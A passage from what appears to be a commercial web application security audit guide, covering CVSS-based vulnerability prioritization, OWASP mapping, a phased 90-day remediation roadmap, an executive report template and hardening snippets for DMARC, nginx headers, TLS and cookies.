  • Git commit integration (track config changes)
  • Rollback procedures for regressions

Step 6.4: Threat Intelligence Stage Output

After 20-25 minutes of threat intelligence work, you should have:

  • IOC Collection

  • Indicators extracted from threat reports (IPs, domains, hashes)

  • Export format (CSV, JSON, STIX) for SIEM ingestion

  • Investigation checklist for incident response

  • Threat Feed Aggregation

  • Multi-source threat intelligence aggregated

  • Deduplicated and enriched indicators

  • Confidence scoring (based on source count)

  • Active Threat Monitoring

  • IP reputation baseline (clean status verified)

  • Security header compliance verified

  • Automated monitoring alerts configured

  • Continuous Monitoring Setup

Daily Monitoring:
  ☐ IP reputation check (web and mail servers)
  ☐ Certificate expiration check (via CT logs)
  ☐ DMARC aggregate report review

Weekly Monitoring:
  ☐ Security headers regression test
  ☐ Threat feed aggregation update
  ☐ Newly registered typosquatting domains

Monthly Monitoring:
  ☐ Full security audit (repeat Stages 1-6)
  ☐ SSL/TLS cipher suite review
  ☐ Privacy policy compliance check

Quarterly Monitoring:
  ☐ Penetration test (external + internal)
  ☐ Vulnerability scan (Nmap, OWASP ZAP)
  ☐ Compliance audit (SOC 2, ISO 27001)

Next Steps: Proceed to Stage 7: Audit Documentation & Remediation Planning to compile findings and create an actionable roadmap.


Stage 7: Audit Documentation & Remediation Planning (30-60 minutes)

The final stage transforms your audit findings into actionable intelligence—executive summaries, detailed technical reports, and time-bound remediation roadmaps.

Step 7.1: Vulnerability Prioritization

Not all vulnerabilities are equally critical. Prioritize using CVSS scores (Common Vulnerability Scoring System) and business impact.

CVSS Severity Ratings

CVSS ScoreSeverityResponse TimeExample
9.0-10.0CriticalImmediate (24 hours)No authentication on admin panel
7.0-8.9High7 daysMissing CSP (XSS vulnerability)
4.0-6.9Medium30 daysWeak cipher suites (TLS 1.2 only)
0.1-3.9Low90 daysMissing Referrer-Policy header

Example Vulnerability List:

Critical Vulnerabilities (CVSS 9.0+):
  1. [9.8] No DMARC policy - Email spoofing possible
  2. [9.1] Admin panel accessible without authentication
  3. [9.0] Certificate expired (HTTPS broken)

High Vulnerabilities (CVSS 7.0-8.9):
  4. [8.6] Missing Content-Security-Policy (XSS risk)
  5. [7.5] CORS wildcard with credentials
  6. [7.4] TLS 1.0/1.1 enabled

Medium Vulnerabilities (CVSS 4.0-6.9):
  7. [6.5] SPF record exceeds 10 DNS lookups
  8. [5.3] Missing HSTS preload
  9. [4.7] No Permissions-Policy header

Low Vulnerabilities (CVSS 0.1-3.9):
  10. [3.1] robots.txt exposes admin paths
  11. [2.6] Missing Referrer-Policy
  12. [1.8] Cookie banner UX could be clearer

OWASP Top 10 2025 Mapping

Map findings to OWASP Top 10 2025 categories:

A01:2025 - Broken Access Control
  - Admin panel without authentication (Critical)
  - CORS wildcard vulnerability (High)

A02:2025 - Security Misconfiguration
  - Missing CSP header (High)
  - TLS 1.0/1.1 enabled (High)
  - Missing security headers (Medium)

A03:2025 - Software Supply Chain Failures
  - Third-party scripts loaded before consent (Medium)
  - No SRI hashes for CDN resources (Low)

A04:2025 - Cryptographic Failures
  - Certificate expired (Critical)
  - Weak cipher suites (Medium)

A05:2025 - Injection
  - No CSP (XSS vulnerability - High)

A06:2025 - Insecure Design
  - Email authentication not enforced (Critical)

Step 7.2: Remediation Roadmap Creation

Phase 1: Critical Vulnerabilities (Week 1-2)

Goal: Address vulnerabilities with immediate exploitation risk.

Week 1-2: Critical Remediation

Day 1 (Immediate):
  ☐ Renew expired SSL certificate
  ☐ Add authentication to admin panel
  ☐ Deploy DMARC p=none (monitoring mode)

Day 2-3:
  ☐ Implement Content-Security-Policy header
  ☐ Fix CORS wildcard vulnerability (restrict origins)
  ☐ Block attacker IPs from threat intelligence

Day 4-7:
  ☐ Disable TLS 1.0 and TLS 1.1
  ☐ Remove weak cipher suites
  ☐ Enable HSTS with 1-year max-age

Week 2:
  ☐ Deploy SPF record with service integrations
  ☐ Configure DKIM signing (2048-bit keys)
  ☐ Implement cookie consent (GDPR compliance)

Validation:
  ☐ Run security headers scan (target grade: A-)
  ☐ Run SSL Labs test (target grade: A)
  ☐ Verify email authentication (SPF, DKIM, DMARC)

Phase 2: High-Priority Issues (Week 3-6)

Goal: Address vulnerabilities with high likelihood or impact.

Week 3-6: High-Priority Remediation

Week 3:
  ☐ Implement CSP nonces for inline scripts
  ☐ Add Permissions-Policy header
  ☐ Add Referrer-Policy header
  ☐ Configure CAA DNS records

Week 4:
  ☐ Flatten SPF record (reduce DNS lookups)
  ☐ Escalate DMARC to p=quarantine 25%
  ☐ Update privacy policy (GDPR disclosure)
  ☐ Add "Do Not Sell" link (CCPA)

Week 5:
  ☐ Implement GPC signal detection
  ☐ Configure OCSP stapling
  ☐ Rotate DKIM keys
  ☐ Set up certificate expiration alerts

Week 6:
  ☐ Increase DMARC to p=quarantine 100%
  ☐ Implement consent management platform
  ☐ Document data retention schedules

Validation:
  ☐ Security headers grade: A
  ☐ GDPR compliance score: 85+/100
  ☐ Email security grade: A-

Phase 3: Medium-Priority Issues (Week 7-12)

Goal: Address configuration improvements and compliance gaps.

Week 7-12: Medium-Priority Remediation

Week 7-8:
  ☐ Enable TLS 1.3 (if not already)
  ☐ Implement SRI hashes for CDN resources
  ☐ Add robots.txt security review
  ☐ Remove sensitive paths from robots.txt

Week 9-10:
  ☐ Upgrade to 4096-bit RSA keys (certificate renewal)
  ☐ Implement automated certificate renewal
  ☐ Set up CT monitoring alerts
  ☐ Register defensive domains (typosquatting prevention)

Week 11-12:
  ☐ Escalate DMARC to p=reject 50%
  ☐ Conduct penetration test (external)
  ☐ Review and update all security policies
  ☐ Quarterly security training for staff

Validation:
  ☐ Penetration test: No high/critical findings
  ☐ DMARC enforcement: 50% reject policy
  ☐ SSL Labs grade: A+

Phase 4: Low-Priority Items & Continuous Monitoring (Week 13+)

Goal: Establish ongoing security operations and continuous improvement.

Week 13+: Continuous Monitoring & Improvement

Monthly:
  ☐ Full security audit (repeat Stages 1-7)
  ☐ Review DMARC aggregate reports
  ☐ Check for newly registered typosquatting domains
  ☐ Update threat intelligence feeds
  ☐ Review IP reputation (web and mail servers)

Quarterly:
  ☐ Rotate DKIM keys
  ☐ Update privacy policy
  ☐ Conduct Data Protection Impact Assessment (DPIA)
  ☐ External penetration test
  ☐ Vulnerability scan (OWASP ZAP, Burp Suite)
  ☐ Compliance audit (SOC 2, ISO 27001)

Annually:
  ☐ Renew SSL/TLS certificates (with new keys)
  ☐ Review and update incident response playbooks
  ☐ Security awareness training for all staff
  ☐ Third-party security assessment
  ☐ Review and update disaster recovery plan

Automation:
  ☐ Daily: IP reputation monitoring
  ☐ Daily: Certificate expiration checks
  ☐ Weekly: Security header regression tests
  ☐ Weekly: Threat intelligence feed updates
  ☐ Monthly: Automated vulnerability scans

Step 7.3: Executive Summary Template

# Web Application Security Audit Report
**Organization:** Example Corporation
**Date:** January 7, 2025
**Auditor:** InventiveHQ Security Team
**Scope:** example.com, api.example.com, staging.example.com

## Executive Summary

This security audit identified **12 vulnerabilities** across 7 security domains:
- **3 Critical** - Immediate action required (24 hours)
- **3 High** - Fix within 7 days
- **4 Medium** - Fix within 30 days
- **2 Low** - Fix within 90 days

### Critical Findings

1. **Email Spoofing Vulnerability (CVSS 9.8)**
   - No DMARC policy configured
   - Impact: Attackers can send emails appearing to come from @example.com
   - Remediation: Deploy DMARC p=none immediately, escalate to p=reject over 13 weeks

2. **SSL Certificate Expired (CVSS 9.0)**
   - Certificate expired on December 30, 2024
   - Impact: Production HTTPS broken, customer trust lost
   - Remediation: Renew certificate immediately, implement automated renewal

3. **Unauthenticated Admin Panel (CVSS 9.1)**
   - staging.example.com/admin accessible without login
   - Impact: Full administrative access to attackers
   - Remediation: Add authentication, restrict to VPN/IP allowlist

### Overall Security Posture

| Domain | Grade | Status |
|--------|-------|--------|
| Security Headers | C+ | 4 critical headers missing |
| SSL/TLS | F | Certificate expired |
| Email Authentication | D- | No DMARC, SPF DNS lookups exceed limit |
| Privacy Compliance | C | Cookie consent incomplete |
| Threat Intelligence | B | Monitoring configured, alerts needed |

### Recommended Investment

- **Immediate (Week 1-2):** $5,000 - $10,000 (certificate renewal, DMARC deployment, headers)
- **Short-term (Month 1-3):** $15,000 - $25,000 (compliance, penetration testing, training)
- **Annual (Ongoing):** $30,000 - $50,000 (monitoring tools, quarterly audits, automation)

Total 1st Year: **$50,000 - $85,000**

### Business Impact

Without remediation, the organization faces:
- **Data breach risk:** High (email spoofing enables BEC attacks)
- **Compliance fines:** €20M or 4% revenue (GDPR) + $7,500/violation (CCPA)
- **Reputation damage:** Customer trust loss, competitive disadvantage
- **Financial loss:** Average breach cost $4.44M (IBM 2024 report)

### Next Steps

1. Review this report with CISO and executive team
2. Approve remediation budget and timeline
3. Assign remediation owners for each finding
4. Begin Week 1-2 critical remediation immediately
5. Schedule monthly progress reviews

---

## Detailed Findings

[Full technical details for each vulnerability...]

Step 7.4: Audit Stage Output

After 45-60 minutes of documentation, you should have:

  • Vulnerability Prioritization

  • CVSS scores for all findings

  • OWASP Top 10 2025 category mapping

  • Response time assignments (Critical: 24h, High: 7d, Medium: 30d, Low: 90d)

  • 90-Day Remediation Roadmap

  • Phase 1: Critical (Week 1-2)

  • Phase 2: High (Week 3-6)

  • Phase 3: Medium (Week 7-12)

  • Phase 4: Continuous (Week 13+)

  • Executive Summary

  • Non-technical overview for leadership

  • Business impact assessment

  • Budget estimates

  • ROI justification

  • Detailed Technical Report

  • Step-by-step findings for each stage

  • Evidence (screenshots, logs, scan results)

  • Remediation instructions

  • Validation criteria

  • Continuous Monitoring Plan

  • Daily checks (IP reputation, cert expiration)

  • Weekly checks (headers regression, threat feeds)

  • Monthly checks (full audit, DMARC reports)

  • Quarterly checks (penetration tests, compliance)


Conclusion

Congratulations! You've completed the 7-stage web application security audit workflow. In 2-4 hours, you've:

  • Mapped your complete attack surface (Stage 1)
  • Evaluated HTTP security headers and policies (Stage 2)
  • Validated SSL/TLS encryption and certificates (Stage 3)
  • Secured email authentication (Stage 4)
  • Ensured GDPR/CCPA privacy compliance (Stage 5)
  • Collected threat intelligence and set up monitoring (Stage 6)
  • Documented findings and created a 90-day remediation roadmap (Stage 7)

Audit Workflow Recap

Stage 1: Pre-Audit Reconnaissance (10-20 min)

  • Subdomain discovery via Certificate Transparency
  • DNS record analysis (A, MX, TXT, CAA)
  • WHOIS registration validation
  • IP risk and geolocation assessment
  • Typosquatting detection
  • robots.txt security analysis

Stage 2: Security Headers (15-30 min)

  • 15+ critical HTTP headers tested
  • CSP policy generation with nonce support
  • CORS misconfiguration detection
  • Security grade (A-F) with improvement plan

Stage 3: SSL/TLS Analysis (20-40 min)

  • Certificate chain validation
  • Expiration timeline tracking
  • Protocol and cipher suite testing (TLS 1.2/1.3)
  • Certificate Transparency monitoring
  • CSR generation for renewals

Stage 4: Email Security (30-45 min)

  • SPF/DKIM/DMARC validation
  • Email authentication grading
  • SPF record generation with DNS lookup counter
  • DMARC policy creation with 13-week deployment roadmap
  • MX record redundancy verification

Stage 5: Privacy Compliance (20-30 min)

  • Cookie security analysis (Secure, HttpOnly, SameSite)
  • GDPR compliance scanning (consent, privacy policy, disclosures)
  • CCPA verification ("Do Not Sell" link, GPC)
  • Third-party tracker inventory

Stage 6: Threat Intelligence (15-25 min)

  • IOC extraction from threat reports
  • Threat feed aggregation and deduplication
  • IP reputation monitoring
  • Security header regression testing
  • Continuous monitoring setup

Stage 7: Remediation Planning (30-60 min)

  • Vulnerability prioritization (CVSS scoring)
  • 90-day remediation roadmap
  • Executive summary creation
  • Continuous monitoring plan

Next Steps: Implementation Quick Wins

Week 1 Priorities (Immediate Impact):

  1. Deploy DMARC Monitoring
v=DMARC1; p=none; rua=mailto:[email protected]; pct=100

Time: 10 minutes | Impact: High (email spoofing detection)

  1. Add Security Headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;

Time: 30 minutes | Impact: High (XSS, clickjacking protection)

  1. Renew Expiring Certificates
certbot renew --nginx

Time: 5 minutes | Impact: Critical (HTTPS availability)

  1. Disable TLS 1.0/1.1
ssl_protocols TLSv1.2 TLSv1.3;

Time: 10 minutes | Impact: High (compliance, security)

  1. Fix Cookie Security
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict

Time: 20 minutes | Impact: High (session hijacking prevention)

Total Time for Quick Wins: 75 minutes

Continuous Improvement: Quarterly Re-Audit

Security is not a one-time project—it's an ongoing process. Schedule quarterly audits to:

  1. Detect configuration drift - Headers removed during deployments
  2. Monitor new threats - Emerging attack techniques, updated OWASP Top 10
  3. Verify compliance - GDPR/CCPA enforcement trends
  4. Test incident response - Tabletop exercises, playbook validation
  5. Update policies - Privacy policies, security standards, vendor requirements

Quarterly Audit Checklist:

☐ Repeat Stages 1-7 (full audit)
☐ Compare results to previous quarter
☐ Review remediation progress
☐ Update threat intelligence feeds
☐ Conduct external penetration test
☐ Review and update incident response playbooks
☐ Security awareness training for staff
☐ Board-level security report

Advanced Topics: Beyond This Audit

For Deeper Security:

  1. Dynamic Application Security Testing (DAST)

  2. Web Application Firewall (WAF)

  3. Static Application Security Testing (SAST)

    • SonarQube (code quality + security)
    • Snyk (dependency scanning)
    • Semgrep (pattern-based code analysis)
  4. Bug Bounty Programs

  5. Red Team Exercises

    • Simulated attacks by internal or external teams
    • Social engineering testing
    • Physical security assessments

Resources for Continued Learning

OWASP Resources:

Security Standards:

Compliance Frameworks:


About This Guide

This comprehensive workflow guide is based on industry best practices from leading security organizations including OWASP, NIST, and the Cybersecurity & Infrastructure Security Agency (CISA). All tools referenced are free, open-access utilities with privacy-first, client-side processing—no data leaves your browser.

InventiveHQ provides these educational tools to help security professionals, DevOps teams, and compliance officers build systematic security audit capabilities. Whether you're preparing for a SOC 2 audit, implementing GDPR compliance, or establishing a security-first development culture, these tools make comprehensive audits accessible and efficient.

Key Principles:

  • Privacy-First: All tools process data client-side (no server uploads)
  • Educational Focus: Free tools for learning and professional development
  • Industry Standards: Based on OWASP, NIST, and regulatory frameworks
  • Actionable Output: Every tool provides remediation guidance, not just findings

Sources & Further Reading

OWASP Top 10 & Web Security

Web Application Security Statistics

SSL/TLS Best Practices

Security Headers Implementation

Email Authentication (SPF, DKIM, DMARC)

Penetration Testing Tools

GDPR & CCPA Compliance


Remember: Security is a journey, not a destination. Quarterly audits, continuous monitoring, and proactive threat hunting build resilient systems that withstand evolving attacks.

Stay secure, stay vigilant, and happy auditing.

Need Expert IT & Security Guidance?

Our team is ready to help protect and optimize your business technology infrastructure.